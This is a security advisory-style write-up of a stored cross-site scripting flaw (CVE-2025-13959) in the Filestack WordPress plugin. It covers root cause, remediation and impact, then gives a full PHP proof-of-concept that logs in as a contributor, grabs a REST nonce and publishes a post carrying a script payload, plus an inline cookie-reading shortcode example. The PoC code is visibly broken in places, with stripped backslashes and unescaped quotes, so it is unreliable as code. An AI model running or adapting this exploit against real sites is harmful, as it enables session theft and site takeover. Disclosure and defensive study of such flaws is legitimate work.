Atomic Edge analysis of CVE-2025-13959 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Filestack WordPress plugin (slug: filepicker-media-uploader) affecting versions up to and including 2.0.8. The vulnerability resides in the plugin’s ‘filepicker’ shortcode handler, allowing attackers with contributor-level or higher privileges to inject malicious scripts into pages and posts. These scripts execute when a user views the compromised content. The CVSS 3.1 score of 6.4 (Medium severity) reflects its network-based attack vector, low attack complexity, and requirement for low-level authenticated access, with scope change and impacts on confidentiality and integrity.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping on user-supplied shortcode attributes. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description explicitly states the issue occurs via the ‘filepicker’ shortcode. Without access to source code, Atomic Edge infers that the plugin’s shortcode callback function likely directly echoes or unsafely outputs attribute values without applying WordPress escaping functions like esc_attr() or esc_html(). This inference is based on the standard WordPress shortcode API pattern where attributes are passed as an associative array.
Exploitation requires an authenticated user with at least contributor-level permissions. The attacker creates or edits a post or page, inserting the vulnerable ‘[filepicker]’ shortcode with malicious JavaScript payloads within its attributes. For example, an attacker might craft a shortcode like [filepicker example=”” onmouseover=”alert(document.cookie)”]. When the page renders, the plugin outputs the attribute value without proper escaping, causing script execution. The attack vector is entirely within the WordPress editor, targeting the post content submission endpoint (/wp-admin/post.php) or the REST API (/wp-json/wp/v2/posts).
Remediation requires implementing proper output escaping on all user-controlled shortcode attributes before they are printed to the browser. The plugin should use WordPress core escaping functions such as esc_attr() for HTML attributes and esc_html() for text nodes. Additionally, input validation should restrict attribute values to expected patterns where possible. A comprehensive fix would involve auditing the shortcode handler function and all related output functions to ensure context-appropriate escaping.
Successful exploitation allows attackers to inject arbitrary JavaScript that executes in the context of any user viewing the compromised page. This can lead to session hijacking by stealing cookies, defacement by manipulating page content, or redirection to malicious sites. Contributor-level attackers could target administrators to perform actions on their behalf, potentially leading to privilege escalation or site takeover. The stored nature means the payload persists and executes for all subsequent visitors until removed.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13959 - Filestack <= 2.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
/**
* Proof-of-Concept for CVE-2025-13959.
* This script demonstrates authenticated stored XSS via the 'filepicker' shortcode.
* Assumptions based on vulnerability description:
* 1. The plugin registers a shortcode 'filepicker'.
* 2. Shortcode attributes are not properly sanitized/escaped on output.
* 3. Contributor-level users can create/edit posts with shortcodes.
*/
$target_url = 'https://vulnerable-wordpress-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE: Contributor account username
$password = 'contributor_pass'; // CONFIGURE: Contributor account password
$payload = '<img src=x onerror=alert(`Atomic Edge XSS: ${document.domain}`)>';
// Step 1: Authenticate and obtain WordPress nonce and cookies
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';
// Create a temporary cookie jar
$cookie_jar = tempnam(sys_get_temp_dir(), 'cve_13959_');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $admin_url,
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_jar,
CURLOPT_COOKIEFILE => $cookie_jar,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
// Step 2: Fetch the post creation page to obtain a nonce for the REST API
// WordPress uses wp_rest nonce in a meta tag for the REST API
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
CURLOPT_HTTPGET => true,
CURLOPT_POST => false
]);
$admin_page = curl_exec($ch);
preg_match('/"wp_rest","nonce":"([a-f0-9]+)"/', $admin_page, $matches);
$rest_nonce = $matches[1] ?? '';
if (empty($rest_nonce)) {
die('Failed to obtain REST API nonce. Authentication may have failed.');
}
// Step 3: Create a new post via REST API containing the malicious shortcode
$post_data = [
'title' => 'Test Post - CVE-2025-13959',
'content' => "[filepicker malicious="" onload="$payload"]",
'status' => 'publish'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-json/wp/v2/posts',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($post_data),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'X-WP-Nonce: ' . $rest_nonce
]
]);
$api_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 201) {
$response_data = json_decode($api_response, true);
$post_id = $response_data['id'] ?? 0;
$post_link = $response_data['link'] ?? '';
echo "Exploit successful. Post created with ID: $post_idn";
echo "Visit: $post_link to trigger the XSS payload.n";
} else {
echo "Exploit failed. HTTP Code: $http_coden";
echo "Response: $api_responsen";
}
// Cleanup
unlink($cookie_jar);
?>
